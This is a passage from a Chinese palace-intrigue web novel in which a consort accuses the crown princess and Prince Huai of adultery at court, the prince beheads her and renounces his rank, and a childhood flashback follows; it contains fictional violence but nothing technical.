傅棠梨的脑子里“嗡”的一声,一刹那心跳差点停住。 那人把脸伏在地上,向前跪行两步,姿态卑微,说话的声音却很清晰:“草民李复,以贩货为生,数日前往咸阳辖下永寿镇的王记酒水铺售卖酒水,竟遇……”他说着,声音有些发颤,“遇淮王与太子妃同行,情态亲昵,形同夫妇,草民尾随二人,见其共居一宅,草民惶恐,不敢多言,只将此事禀告……” “一派胡言!”那商贾的话尚未说话,赵元嘉已经暴怒,大抵这天底下的男人,没一个能忍 住旁人把绿帽子往自己头上扣,何况是太子之尊,“大胆贱民,大殿之上,竟敢诋毁太子妃清誉,悖妄至极,该当死罪!” “元嘉,肃静。”元延帝沉声发话。 赵元嘉犹不忿:“父皇,这贱民不知受何人唆使,出此秽言,折孤颜面,断不可轻饶。” “元嘉!闭嘴!”元延帝厉声呵斥。 安王和大理寺卿曹升对视了一眼,面色骇然,安王对这事心里多少有数,面上不得不做个态度,曹升是真的被惊呆了。 赵上钧站在那里,神色淡漠,甚至连目光都没有动弹过,似乎那李贾所说与他毫不相干。 而傅棠梨不过微微低下了头,在旁人眼中,无论何时何处,太子妃都是一等一的端庄淑女,此刻她双手笼于袖中,腰身笔直,颈项修长,仪态娴雅如白鹄,没有一点儿偏差。 林贵妃心里冷笑了一下,再次出声问询:“李贾,太子妃居于深宫,你一介布衣,如何识得太子妃,莫不是胡乱攀咬?” 李复定了定神,急忙答道:“今岁初,草民往林尚书府上送货,恰逢当日太子携太子妃在府中宴饮,小人于道边躲避不及,得见太子妃,故而在永寿能够识出。” 他再向前跪行一步,大声道:“草民所言,句句属实,现有王记酒水铺的掌柜亦可为证。” 赵元嘉本就疑惑,今日问罪太子妃,何以由林贵妃出面,及至此刻,听得李贾言及“林尚书府上”云云,心下恍然大悟,这事情与林婉卿必然脱不开干系,他简直怒极而笑:“荒唐!” 林贵妃对太子的话恍若未闻,她转向下跪的另一人:“你就是那酒水铺的掌柜?” 王掌柜战战兢兢地抬头看了一眼,又把头趴下了:“是、是……” 林贵妃朱唇轻启:“你说。” 王掌柜想了想那白花花的赏银,咽了一下口水,伸出手指,巍巍颤颤地指了指赵上钧、又指了指傅棠梨:“那天小的在店中打理买卖,亲眼看见这两个人一块儿进来买酒,确实就像李当家说的那样,看过去,小的以为他们是夫妻两口子,只因他们人才出众,小的还多看了几眼,印象尤深,万万没有想到竟然是淮王和太子妃。” 安王咳了两声,出声阻止:“兹事体大,关乎太子的脸面和淮王的名声,不宜与此贱民论,仅凭一面之辞,难以分辨真伪,曹大人既在,不若将此数人交由大理寺处置,待曹大人问出结果,再行禀明圣上。” 林贵妃怎么肯轻易罢休,笑吟吟地道:“正因兹事体大,今日才请了安王和曹大人过来,一道做个鉴证,免得有人说本宫处置不公。” 元延帝目光阴骘,一动不动地盯着赵上钧:“此二人所言,淮王作何解释?” “无稽之谈,不知所云。”赵上钧听到此处,只是简单地回了几个字。 宛如一拳打在空气中。 元延帝高高地坐在龙椅上,天色越发阴暗,他的神情喜怒莫辨:“朕日前屡屡召你,你为何皆不在长安,难道不是去了咸阳吗?” 赵上钧的目光终于转了过来,面对着元延帝,神色平和:“臣重伤未愈,在云麓观养伤,不欲见外人,故曰不在,陛下何以见疑?” “恐怕不是养伤,而是金屋藏娇去了吧?”林贵妃以袖掩嘴,笑指阶下跪着的最后一人,“此张甲,乃咸阳县府衙役,来,张甲,你说,你是在何时何地见到淮王的?” 张甲眼神飘忽,重重地磕了一个头,道:“当日,何大人接李贾报信,从县衙带了人,去永寿镇接回太子妃,小人亦跟随其中,到了那里,却遇淮王率兵阻拦,欲将旁观者悉数灭口,后,太子妃拔金簪以刺喉,要挟淮王,我等才侥幸得以逃脱。” 他说到这里,抬起身,霍然指向傅棠梨:“不信,你们看,太子妃喉咙处还有伤痕未愈。” 字字句句,惊心动魄,殿上众人的眼睛齐齐看向傅棠梨。 傅棠梨如坠冰窟,浑身发寒,她抬手摸向自己的喉咙,那里有一处暗红的印子,是被利器刺伤留下的痕迹。 林贵妃胜券在握,慢悠悠地道:“太子妃,你又做何解?” 这下连赵元嘉也有些疑惑:“二娘,你脖子上……是何人伤你?” 傅棠梨心跳狂乱,几乎冲破胸腔,但面上却不露半点迹象,她用力按住了伤痕,用以掩饰自己手指的颤抖,口中不急不慢地回道,“说到这个,乃因几日前梳妆时头疾发作,疼痛难耐,一时失手,发簪刺破肌肤,并无大碍,谁知竟被有心人拿来做文章,实在难料。” 如此场景之下,太子妃却稳如泰山,只凭这份胆识,林婉卿望尘莫及。 林贵妃心中叹服,更觉得留她不得,当下冷笑起来:“经历此事者,另有酒水铺的伙计并咸阳县衙差役数十人,可随时传唤,指认你与淮王,太子妃何必嘴硬?” 冰冷的汗水沿着傅棠梨的脊背滑下,很快湿透了罗裳,黏腻腻地贴在肌肤上,令人浑身发凉。她慢慢地将手放下来,收到袖中,死死地握紧了,指甲掐得掌心生疼,以此来维持着清醒,这短短一瞬间,她心念急转,环顾左右,问道:“既有咸阳县衙差役作证,何不唤何县令来当面对质?何县令安在?” 林贵妃毫不避讳,道:“何友松冥顽不灵,不肯招供,现下还关押在大牢中,等候发落。” 她说得如此轻巧。 此情此景,容不得傅棠梨退缩,她挑了挑眉毛,语气温和,却挟带锋芒:“可怜无辜者受无妄之灾,所谓人证,不过如此,贵妃提早备下了,我确实无以应对,若贵妃能给我一二日工夫,我必然也能寻出七八十个证人来,可指证贵妃与外人私通苟且,贵妃信吗?” “太子妃慎言。”元延帝冷冷地发话。 这就是圣意。 傅棠梨手脚冰冷,一颗心直直地心沉了下来,她抿紧了嘴唇。 林贵妃轻笑了一下,斜斜瞥了傅棠梨一眼:“太子妃巧言令色,可惜也翻不过天去,且不论人证如何,本宫请问诸位,淮王素来清高孤僻,平日便是对太子也不见得亲近,那天夜里,太子妃落入渭水,他为何舍身去救,难道不是怀有私心吗?甚至淮王星夜奔赴咸阳,恐怕为的也不是太子,而是太子妃吧?” 赵元嘉心里“咯噔”了一下,情不自禁看了一眼傅棠梨。 她的面容苍白而沉静,似草木之柔脆、又似金器之坚硬,此时她眉目低垂,就站在赵元嘉的身边,两个人靠得太近了,赵元嘉似乎感觉到她的衣袖在颤抖着,微不可察。 过往种种片段,如同千军万马呼啸而来,撞得赵元嘉不知所措,他在心中模糊地掠过一个念头,那一瞬间,令他毛骨悚然,但旋即,他又把这种念头硬生生地压下去了,终究还是踏前一步,拦在傅棠梨的面前,对林贵妃斥道:“皇叔对孤向来关爱,不须你挑拨离间!” “太子。”元延帝目光阴沉,语气饱含危险,“贵妃替朕问话,尔安敢无礼?” 赵元嘉的嘴巴张了张,脸憋得通红,摄于帝王之威,他不敢再出声,恨恨地别过脸去。 傅棠梨抬起脸,环顾周遭,目光在某个地方微妙地停留了一下。 殿上金兽燃香,青烟须臾,令人恍惚。赵上钧漠然地站在那里,容姿清冷,仿佛疏离于人世之外,隔着沉沉的天光,谁也无法分辨他的神色。 傅棠梨垂了眉眼,对着龙座上方的元延帝拜了一拜,姿态婉顺,不亢不卑:“儿曾问当日事,落水时,太子在场,皇叔亦在场,太子不能救,若皇叔亦不救,儿斗胆,敢问父皇,赵家两个男儿在场,竟要眼睁睁看着家中女眷去死吗?” 元延帝沉默半晌,微微地叹了一口气,并没有说“是”或者“否”,他只是一个仁慈的帝王,无意苛责淮王与太子妃,他不过是想替太子明辨曲直,又或许是被林贵妃所蒙蔽,谁知道呢,总之今日之事,已经全权交由林贵妃出面处置,林贵妃那边咄咄逼人,与他并无干系。 林贵妃不欲再与傅棠梨逞口舌之争,索性快刀斩乱麻,对大理寺卿曹升发问:“曹大人,若淮王与太子妃罪行属实,该处何 刑罚?” 曹升不安地看了看元延帝,又看了看淮王,两者均无任何反应,他只能硬着头皮,肃容回道:“依大周疏律,通奸者,男女各徒两年,妇有夫者,再加一年。”他顿了一下,说得有些艰难,“而内乱者,属十恶之条,死罪也,亲族长辈可杀之。” “哦,是这样啊。”林贵妃勾起嘴角,轻蔑地笑了笑,倏然转为厉色,“太子妃,你还不认罪?” “我无罪,有何可认?”傅棠梨如是回道。她记不得从前事,在永寿时才会被玄衍所欺,在得知真相之后,就断然离开了玄衍,她何错之有?此事问心无愧,神情坦然。 此时安王再上前:“此事大为蹊跷,固然有人指证种种疑点,但太子妃所辨,并非毫无道理,更何况内中牵扯淮王。” 他对元延帝躬下身去,诚恳地道,“陛下素来仁厚,对淮王更是爱护备至,请陛下三思,这种违逆人伦的大罪,岂可轻易断论,依老臣之见,还是让曹大人把这些证人带回大理寺,仔细审讯才是。” 元延帝以袖掩面,似痛苦难决:“五郎,朕之皇弟,天潢贵胄,本应受万民尊崇,如今在这些下等人口中,却成了礼义沦丧之辈,倘使此事发至大理寺,令他人闻及,乃至传于朝野上下,叫朕拿什么颜面见文武百官、见天下庶民?” 安王默然。 林贵妃莞尔一笑,柔声禀道:“陛下勿忧,臣妾自会打理清楚,断不使陛下为流言所困。” 她抬手,指了指下方跪着的三个人,漫不经心地道:“民告官者,如子杀父,按律坐笞五十,且状告亲王,冒犯皇族,罪加一等,令杖五十,带下去。” 殿中千牛卫应诺,随即上前。 这般情形下,杖五十,必死无疑,灭了这三人的口,保存皇家的脸面,这是元延帝对淮王的体恤。 那三人骤然惊呆,尤其李复,不可置信地抬起头来,目眦欲裂,惊恐地嗥叫起来:“不、不、娘娘、明明说……” 林贵妃早有提防,迅速做了一个手势。 千牛卫士兵飞快地将三人的嘴巴捂住,按在地上,不顾他们的挣扎扭动,如同拖死狗一样,很快拖了下去。 林贵妃转过来,慢慢地将目光落定在傅棠梨身上,她微笑着,轻声细语,却满含恶意:“太子妃仙姿玉貌,兼弱质纤纤,她失踪多日,流落民间,个中情形如何,无从追究,才使得流言蜚语四起,今日疑为淮王,明日或是他人,悠悠众口不能尽封,如此名节,岂堪配太子?” 安王的眉头紧紧地皱了起来,待要说几句,被曹升从后面拉住了衣袖,他看了赵上钧一眼,踌躇了一下,把嘴巴闭上了。 林贵妃盯着傅棠梨,如同毒蛇盯住了她的猎物,透出一种残忍的恶意,她口中对着傅棠梨说话,眼睛却转向赵上钧。 “你若认罪,如实招供,本宫网开一面,可从轻发落,饶你性命。”她一字一句,说得又轻又慢,像是在诱惑着什么,“若不然,以内乱论处,其罪当诛,你可考虑清楚了?” 淮王若不俯首认罪,太子妃就是死路一条,原来今日种种,皆由此而起。 傅棠梨心下明了,至此已无言可辨,她摇了摇头,清晰地道:“贵妃若执意置我于死地,我不能拒,但若要我认下乌有之罪,那断断不能。” “好!”林贵妃点了点头,她抬起手来,招了招:“拿过来。” 有内监弓腰低头,奉金盘以上,金匮上置着三样东西,一截白绫、一壶酒、以及一柄匕首。 60-70 第61章 第61章淮王当众斩杀林贵妃 傅棠梨的瞳孔骤然收缩,一瞬间像是被人掐住了咽喉一般,呼吸凝滞。 赵元嘉大惊,慌慌张张地把傅棠梨拉到身后去,摊开双臂,护住她:“儿臣敢用性命担保,二娘不是那种人。她不会做对不起孤的事,儿臣信她,父皇、父皇,您不可偏听偏信,儿臣、儿臣恳求父皇开恩!” 元延帝保持沉默,望着赵元嘉,也望着傅棠梨。 他平日面目柔和,多少总是带着笑意,如今光线昏暗,潮湿的水气和沉香的烟气一起弥漫,如同虚空升起的迷雾,他在龙椅上居高临下,无声地俯视着大殿上的一切,嘴角沟壑的纹路显得愈发明显,阴郁而寡淡。 连赵元嘉都觉得他陌生:“父皇!” 元延帝什么话都没有说,不过摆了摆手。 两个千牛卫上前,执住赵元嘉的双臂,强行将他拉开了:“太子殿下,恕罪。” “不、该死的!放开孤!孤叫你们放开,听见没有!”赵元嘉愤怒至极,挣扎着咆哮起来。 林贵妃步步逼近傅棠梨,她微笑的模样,娇艳而妩媚,说话的声音又轻又软:“好了,什么都别说了,还是请太子妃上路吧。” 内监跪倒在傅棠梨面前,双手高高地托起金盘:“恭请太子妃上路。” 愤怒和恐惧同时朝傅棠梨席卷而来,如同平地卷起千重浪,波涛汹涌,心脏剧烈地跳动着,撞击着胸腔,轰轰隆隆,她咬紧牙关,掂量着自己的手劲、估摸着与林贵妃之间的距离,缓缓地抬起手,伸向那柄匕首。 林贵妃就站在傅棠梨的面前,她的身上带着牡丹花的香气,馥郁而雍容,直扑傅棠梨的鼻端,她靠得很近,傅棠梨能够清晰地看到她细长的、青黛色的眼线,从眼角高高地挑起,冷酷而艳丽。 再近一点、再近一点就好…… 傅棠梨屏住呼吸,一把抓住了匕首。 “不、你们不能这样!”赵元嘉声嘶力竭,“二娘!” 千牛卫几乎要按捺不住赵元嘉,七手八脚地拖着他:“太子、太子稍安勿躁、您冷静……” “够了!”一声断喝倏然响起,低沉而威严,压过了这一片纷乱。 傅棠梨的手抖了一下。 殿上诸人的目光纷纷转向赵上钧,神色各异。 赵上钧缓步而行,走到傅棠梨的面前,他的神色依旧是冷漠的,朝她伸出手去:“给我。” 俨然不可违逆。 傅棠梨沉默了一下,低下了头,倒持匕首,双手奉予赵上钧。 赵上钧握住了刀柄。 林贵妃笑了起来,柔声道:“难不成,淮王想要亲自动手,以自证清白?” 赵上钧侧过脸,看了林贵妃一眼,他的容貌俊美得近乎锐利,逆着大殿外昏暗的天色,那一瞬间,仿佛有金戈的寒光掠过。 他霍然出手,抓住了林贵妃的发髻,在他强硬有力的手掌中,林贵妃就像一只鸡,没有任何反抗的余地,被拉扯着,仰起了脖子。 她甚至来不及发出半声惊叫。 赵上钧扬臂,干脆利索地一抹,匕首的锋刃切开了林贵妃的脖子,如同切开一块豆腐那么容易,没入手柄,直直地穿透过去,破开皮肤、血肉、骨头,“咔嗒”,响起清脆而细微的声音。 林贵妃的头颅与身体骤然分离,血液从脖腔中喷涌而出。 “泼刺”一声,鲜血溅上赵上钧半边脸庞,一片猩红,而他一手提着林贵妃的头颅,一手握着匕首,立在那里,面无表情。 这一切只在电光火石之间。 柔软的笑意还残留在林贵妃的脸上,她睁着眼睛,无法闭上,空洞地瞪着前方。 傅棠梨宛如被钉在地上,通体生寒,完全动弹不得,她的嘴巴张了张,发不出丁点声音。 一霎那,周遭死一般的沉寂。 林贵妃无头的身体摇晃了一下,就像一团烂泥,“噗通”倒下,再也没了任何动静,鲜血蜿蜒流淌。 宫人们惊恐地尖叫起来,四散逃开。 “赵上钧!你安敢!”元延帝脸色煞白,从龙座上遽然立起。 大理寺卿曹升大惊失色,一把推开安王,冲过去护在元延帝面前,口中大呼:“护驾!护驾!卫兵何在?快!快拦住淮王!” 大殿内外皆哗然,千牛卫齐齐呐喊,蜂拥上来,将赵上钧团团包围起来,刀剑出鞘,长戟指向,寒光凛冽,杀气森然。 形势如弦上箭,拉满弓,一触即发。 太子和太子妃距离淮王太近了, 也被围在正中,这当口,没人能顾得上他们。 赵元嘉哆哆嗦嗦,想要去拉傅棠梨,手抖了一下,没拉到。 赵上钧回眸望了一眼,他的眼眸中带着浓郁的血色,晦涩的天光和潮湿的雾气弥漫在一起,春来的雨水落在廊阶下,嘈嘈错错、急急切切,零碎而纷杂。 周遭混乱,旁人无从分辨他究竟在看着谁,也无人能揣摩他的心绪。 “出去。”他冰冷地吐出两个字。 傅棠梨仰起脸,茫然地望着他。 “滚!”他厉声喝道。 赵元嘉终于抓住了傅棠梨的手,拖着她,仓皇后退,拨开千牛卫的遮挡,跌跌撞撞地跑出了大殿。 傅棠梨突然停止脚步,情不自禁地回头看去。 千牛卫围在四周,越过重重叠叠的包围,依旧能清楚地看见他,他的身量是那么高硕,立于人群之中,如同山岳岿然,有不怒而威之势。 “二娘,快走,此间凶险,我们先避一避。”赵元嘉扯了扯傅棠梨的袖子。 傅棠梨甩开了赵元嘉,她的手紧紧地抓住大殿的门扉,用力到指节泛白,她直直地盯着大殿中的情形,根本无法移动脚步,口中道:“淮王发难,父皇处境不安,这等形势,太子为人臣、为人子,岂可一走了之?” 赵元嘉怔了一下,讪讪地搓了搓手:“孤是关心则乱了,还是二娘思量周到。” 皇城中金吾卫闻得紫宸殿惊变,飞奔而来,黑压压的一片,铠甲和兵器的铿锵声由远及近,很快将紫宸殿围得水泄不通。雨水泼在铁衣金刃上,溅起冰冷的、白色的雾。 大殿上,赵上钧沉沉地向前迈了一步。 淮王骁勇善战,凶悍之名传于天下,世人皆谓其为破军之星,万夫不能敌,此时,他煞气未歇,手中的匕首犹自滴落鲜血,血腥扑鼻,令人不寒而栗。 周围的千牛卫被这气势所震慑,不觉随之后退了一步。 赵上钧一步一步地朝着龙座走去,千牛卫不能再退,长戟如林,尖端戳到了赵上钧:“殿下请止步!” 元延帝面色铁青,手指赵上钧,厉声质问:“赵上钧,你今日要弑君吗?” 赵上钧的脚步停了一下,元延帝终究站在高处,赵上钧要抬起头来,才能和兄长对视。 “那自然不会的。”他的眼眸如同瀚海,太过深邃,掩住了所有的情绪,“陛下忘了吗?臣曾经发过誓,永不与陛下为敌、永不与陛下兵刃相见,若违此誓,愿遭万箭穿心、死无葬身之所。”他好像停顿了一下、思量了一下,末了,一如从前,平淡而温和,“而臣,是个守信重诺之人。” 元延帝好像暗暗松了一口气,但他依旧表情冰冷:“则你殿前失仪,意欲何为?” 粘稠的鲜血顺着赵上钧的额头、眼角以及脸颊渐渐流淌下来,淋漓而斑驳,带着腥膻的、近乎金刃生锈的味道,而他容姿高雅、眉眼昳丽,半面似厉鬼、半面似仙人。 “臣之所为,素来遵从陛下之意,而陛下,您想要的是什么呢?”他又逼近了一步,浑然不顾兵刃加身,长戟刺破了他的衣袍,“您想要收走臣手中的兵权,是吗?” 元延帝没有回答这个问题,他的嘴唇绷成了一条直线,保持缄默。 赵上钧终于走到龙座丹阶之下,那是一个微妙的距离,皇帝与臣子,一个在上、一个在下,他们将彼此的眼神看得清清楚楚。 “其实无论陛下想要什么,和臣直说便是,臣无有不从,何必叫那卑贱妇人当众辱臣呢?陛下知道的,臣气量小,容不得这个。”赵上钧如是说道,语气淡淡的。 他扔掉了林贵妃的头颅,那个漂亮的、血糊糊的脑袋滴溜溜地滚了几圈,滚到龙座之下。 元延帝不过低头看了一下,眼中掠过一丝痛惜之色,但很快将目光移开了。 赵上钧慢慢地俯下了身、慢慢地跪了下来,推金山、倾玉柱,庄重而恭敬,跪倒在元延帝的脚下。 千牛卫不敢受淮王礼,忙不迭地退到两侧。 元延帝目光暗沉,神色模糊,他保持着帝王的威严,居高临下,俯视赵上钧。 赤金兽炉中燃着龙涎,兽口大张,吐出一团团白烟,飘散在空气中,潮湿的春季里,那是一种华丽而馥郁的香气,沾染着已经冷却的血腥味,如同腐烂的牡丹、泥土里黏腻的胭脂,无法言说,令人作呕。 赵上钧拔下了发髻上的顶簪,盘得一丝不苟的头发披散了下来,他的面容是如此俊美,此时长发垂落,漆黑如同鸦羽,柔软近似流水,遮住了他锐利的煞气。 “陛下。”他低低地叫了一声。 元延帝还是没有说话,或者是他还未曾思量清楚,此情此景下,究竟说些什么才合宜。 赵上钧语气淡淡的,好似言语所及,皆无关紧要:“昔日,蒙先帝恩宠,令臣掌玄甲重兵,今陛下既见疑,臣请还虎符、卸兵权、除亲王之位,从此愿为庶民,再不涉朝堂。” 元延帝沉默片刻,长长地吐出一口气:“淮王……无需如此。” 赵上钧突然抬手,挽起发丝,手起匕落,寒光一掠,削断了长发。 元延帝的嘴巴张了一下,想要叫一声“五郎”,但不知为何,却没有叫得出口,他仓促地伸出手,手指屈了屈,或许是想要阻止赵上钧,但他并没有来得及这么做,那只手只是在半空中停滞了一下,又僵硬地放下。 赵上钧将那一捧长发和匕首放在了地上,他眉目低垂,以示顺从。 紫宸殿上无人敢言语,死一般的沉寂,只有赵上钧平缓的声音回荡在高耸的金柱玉梁间, “臣居功自傲,骄纵跋扈,屡屡令陛下不悦,臣有罪,今割发代首以谢罪,臣既已出家,不应眷念俗世,骨肉尘缘皆已尽,自此归去山林,愿此生不复再相见。” 元延帝的目中终于露出痛苦的神色,他从龙座上下来,走了两步:“五郎,朕并没有这个意思,你何至于此?朕只是、朕只是……” “陛下只是不需要臣了。”赵上钧平静地接口,他抬起了脸,看着他的兄长,血染在他的眉眼间,好似用赤红的笔墨勾勒出他脸部的轮廓,锐利、深邃、带着血腥凝固后的沉静。 他抬起脸,挺直了脊梁和颈项,解开衣带,一件一件脱下了外袍、中衣和内裳,露出赤裸的上身,他的肩膀宽阔、胸膛厚实、麦色的皮肤下,肌肉紧绷,凸起的纹理清晰起伏,男人的身体刚武而强健,每一寸都蕴含着蓬勃的力度,但那上面却布满了伤痕。 他指着胸口处一道伤痕:“这是去年夏,在北庭与突厥人对阵时,中了破甲弩的箭矢,伤及心肺,臣几乎死在当场,至今尤未愈合。” 那道伤痕破碎而狰狞,箭矢撕开了肌肉,在他身上留下很深的印记。 他又指向腹部一道伤痕:“这是臣讨伐幽州叛乱时为马槊所伤,臣追击叛军,无瑕顾及,至善后时,血肉盘结,黏于衣上不得解,遂以刀割肉。” 他再指臂上:“这一处,是臣远征南诏时,为土王偷袭,伤口至骨,臣疼痛难耐,不能握刀,后以布带捆缚刀柄于掌中,才得斩断敌首。” “五郎……”元延帝红了眼眶,他步履艰难地走到赵上钧的身前,犹豫着,弓下腰,扶住了赵上钧的肩膀。 他的肩膀那么厚,元延帝无法掌握住,这让元延帝更加清楚地意识到,眼前这个人,早已经不是当年在赖在兄长怀里撒娇的孩子了,这种感知令元延帝悲伤、也令他焦躁。 不知何时天色愈沉,大殿之外,暴雨如注,“哗哗啦啦”,天籁喧嚣,而人声静寂,雨水被风打碎成粉末,如同迷离的白雾,从殿门外吹进来,落在千牛卫长戟的锋刃上,带着料峭的寒意。 赵上钧的声音低了下去,轻轻的,只有他和元延帝两人可以听见:“犹记幼时,臣跳脱多动,屡屡磕碰,陛下尝对臣言,若有伤痛,需逐一告知陛下,勿使陛下牵挂不安,及至臣年长,已久不与陛下提及,未知陛下尚记当年否?” “朕记得。”元延帝拍了拍赵上钧的肩膀,苦涩地笑了一下,“你打小性子就倔强,跌得头破血流都不和朕明说,只会自己憋着,叫朕头疼得很,如今长大了,这个毛病还是改不了。” 赵上钧直视元延帝的眼睛,他的目光是柔和的,这一刻,仿佛回到从前:“陛下将臣抚育成人,自幼对臣呵护备至,是兄、亦是父,臣感激涕零,本欲以此身为剑,竭尽所能,为陛下征伐天下,而今思及,固不能也。数年来,臣平定幽州、邺城、武安诸方叛乱,南讨六诏,北击胡族,护卫山河安定,拓展疆土千里,臣……对陛下已 经了无亏欠。” 元延帝已经意识到赵上钧想要说什么,他茫然地,迟疑地松开了手,这是他的弟弟,他曾经那么疼爱这个弟弟,甚至胜过自己的儿子,而如今呢,只剩下这么一句话,“了无亏欠”。 他心中大恸,忽然又生出后悔之意,试图挽回,但他的声音很低,像是自语着,可能不太愿意叫人听见:“朕只是忧虑多思,错怪了你,你何必与朕生分,五郎……五郎,大兄疼了你那么多年,难道你都忘了吗?” “五郎没有忘。”赵上钧闭上了眼睛,轻轻地回答,这是只有他们兄弟两人之间才知晓的对话,“可是,五郎的大兄,已经不会再回来了。” 他双掌交覆,拱手按于地,弯下了他的腰,低下了他的头,以首触地,拜天子:“臣告退,陛下……珍重。” 兄弟情义已尽,愿此生不复再相见。 “不、五郎!”元延帝的手颤动着,再次向赵上钧伸去。 而赵上钧已经站了起来,紫宸殿中的光线越来越昏暗,他的面上血痕未尽,此刻所有的表情都褪去,冰冷而坚硬,仿佛从尘世的泥污中生出的修罗,但他最后看了元延帝一眼,却带了一丝悲悯。 他退后一步,转身离去,不曾触及兄长伸过来的手。 大殿内外的士兵如同退却的潮水,拥挤着,向两边分开,为淮王让出道路。 不,那已经不是淮王了,今日大殿之上,他当众明言,还虎符,卸兵权、除亲王之位,如今不过一介庶民,但依旧无人敢于直视他。 他走出大殿时,脚步似有停顿,侧首一顾,在风雨中惊鸿一瞥。 傅棠梨在那里站了太久,手脚已经冰凉,及至此时,与他目光相触,却觉指尖发烫,几乎颤抖。 然而,只有一瞬间而已,仿佛只是错觉。 赵上钧走进了雨中。 他赤裸着身体,披散着头发,高大的身躯挺得笔直,如同一柄刚硬的、锋利的剑,永不会弯折,雨水冲刷着他,浑身湿淋淋,脸上的血被洗去,不带丝毫表情,颜色苍白似雪,而他的眼眸却是漆黑的,如同夜色沉寂。 恢宏的宫城被雨幕所笼盖,蒙着一层浓烟,似不堪重负,连高耸的重檐歇山顶都模糊了脊梁,变得萧索起来,抬头四顾,天与地皆茫茫。 恰如当年。 …… 章武二十一年,春,大雨。 两列金吾卫守护在广德殿外,披着甲胄,持着长戟,肃穆如同铜像,蹲在屋檐上的脊兽投下了阴森而模糊的影子,苍穹如泼水墨,暗沉沉的,雨水倾泻而下,几乎要敲碎宫城的琉璃瓦,“哗哗”之声不绝于耳,喧杂而混乱。 赵上钧躺在廊庑的角落里,地上支着一柄伞,半遮住他的身体,却挡不住风雨,雨水落下,又溅起,打湿了他的脸,冰冷彻骨,令他难受得很,但他数日高烧不退,此刻浑身炙热如火烧,早已经失去了动弹的力气,只能迷迷糊糊地叫了一声:“大兄。” 赵上宣跪在石阶下,他脱了冠帽,以示恭顺,晋王殿下丰姿朗仪,素来斯文,但他此刻浑身湿漉漉的,头发一绺一绺地贴在脸颊上,全无仪态。 章武帝身边服侍的王太监走了出来,袖着手,慢条斯理地道:“晋王请回吧,韩王病危,太医皆侍奉于此,淑妃娘娘忧心如焚,无暇他顾。”他的眼睛往墙角瞟了一下,摇了摇头,“叫五皇子多熬几日吧,一切都待韩王康复再议。” 秦淑妃深得帝心,宠冠六宫,其膝下原本有一对孪生儿女,云都公主和韩王,可惜这两个孩子生而体弱,令淑妃日日忧思。 七年前,云都公主三岁,大病垂危,淑妃啼哭不止,恨不得以身代,章武帝陪伴左右。彼时,被废为庶人的冯氏于掖庭宫诞下五皇子,宫人往秦淑妃宫中报章武帝,讯息方至,云都公主气绝。 秦淑妃认定五皇子克死了云都公主,由是大恨,章武帝亦不喜,多年来对五皇子不闻不问,如今却逢韩王与五皇子双双病重,晋王来求太医往视,但这个当口上,谁敢去触秦淑妃的霉头呢,若不是章武帝眼下亦在殿中,只怕秦淑妃要叫人出来把五皇子乱棍打死。 王太监说了这一番话,就要进去。 赵上宣大急,不顾地上雨水淋漓,跪行上前,拦住王太监:“公公,五郎病得很重,他撑不下去,父皇命我在长兴宫修身养性,但这和五郎无关,若不能请太医救治,可否容我将五郎送回晋王府,免得他跟着我受苦。” 王太监退后一步,免得污水沾了自己的鞋面,他皮笑肉不笑的:“晋王对五皇子负有教导之责,怎能令他别离,这事情,我可做不了主,晋王不必再说,快回吧。” “王公公,求求您!”赵上宣心中忧虑,六神无主,眼看幼弟情况危急,而宫中太医却悉数被秦贵妃羁留在广德殿,无人顾及幼弟,若再迟,恐药石无救也,他顾不得身份,重重地磕下头去,“求您代为通禀父皇,念在父子骨肉情分上,救救五郎、求求您,和父皇说一声吧,五郎、五郎他真的等不了。” “哟。”王太监笑了一下,侧身避开,“可当不得晋王殿下大礼,我看啊,您别费这工夫了,圣上不会见您的,韩王需要静养,您小声着点,可别吵着他了。” “王公公,我求您了!”赵上宣生性文弱,此际无可奈何,只能拼命磕头,“咚咚”的声响清晰可闻,血从他的额头涌出来,混合着雨水,把石阶染成淡淡的红色,然而,他不知疼痛,一下又一下,仿佛王太监不答应,他就要磕死在这广德殿外。 “大、大兄……”赵上钧气血上涌,浑身发抖,一时间不知从哪里生出的力气,咬着牙根,撑起身体,吃力地朝赵上宣爬去,“你……起来,不要、不要求他……” 就在此时,殿中出来一个宫人,满脸怒容:“何人在外头喧哗不休,韩王殿下此刻形势危急,若惊扰了殿下,你们有几个脑袋可以掉?还不快将闲杂人等赶走!” 王太监不敢怠慢,指了指赵上宣,对旁边的小黄门道:“请晋王速速离去。” 小黄门惯是会捧高踩低的,当即走入雨中,拖起赵上宣往外推搡:“别闹了,快走、快走……” 话音未落,突然有一股大力从旁边撞了过来,小黄门一个踉跄,跌了个四脚八叉,疼得他“哎呦”大叫。 原来是赵上钧,他猛地发力,冲了过来,将小黄门打倒在地,自己先支撑不住,腿一软,仰面倒下。 “五郎!”赵上宣慌慌张张地扑过去,险险地接住了弟弟,一把抱住了。 这是他一手养大的孩子,此刻这孩子嘴唇乌青、脸色潮红、双目紧闭,在他的怀里昏迷过去,他心疼不已,抚摸着赵上钧的脸,想将那脸上的雨水擦干,口中语无伦次地说些抚慰的话,“你别急……没事,有大兄在,五郎,乖孩子,你再等等……” 王太监皱眉,对殿外的金吾卫吩咐道:“快去,打发他们走。” 金吾卫“喏”了一声,旋即有人上前,一左一右架住了赵上宣:“晋王,您请。” 赵上宣被拖住双臂,抱不住弟弟,眼睁睁地看着赵上钧无力地滑落在雨地里,他又气又急,挣扎着不肯就范:“不,你们不能这样,我要见父皇!父皇!” 几个金吾卫在雨中拉扯着,十分不耐,其中一人终于忍不住,举起了长戟,想要以此威慑赵上宣,“啰嗦,还不快走?” 但长戟举到一半,却卡住了。 “咦?”那金吾卫惊讶地回头望去。 赵上钧不知何时又醒了过来,他趴在地上,撑起上半身,双目赤红,额头青筋凸起,死死地抓住了那柄长戟的尾部,从牙缝中挤出字来:“尔等大胆,安敢对我大兄无礼!” 他只是七岁的孩童,容貌大约随了废后冯氏,生得极昳丽,此时病得狠了,双颊殷红似胭脂,望之若好女,不意竟有此神力,一时之间,那金吾卫居然拔不动长戟。 “咄,那小子,快放手!”金吾卫恼羞成怒,拉了一下,试图将长戟收回来。 赵上钧绷紧牙关,握住戟柄,借着金吾卫回收的力度,一拉、一扳,整个人从地上立了起来,他的身量尚未长成,比那个金吾卫士兵矮了一些,但他不管不顾,弓着腰,低着头,狠狠地撞了上去。 这孩子的力气大得惊人,他的脑袋顶了过来,金吾卫士兵只觉得小腹一阵剧痛,险些摔倒,士兵大怒:“小混蛋,你……” 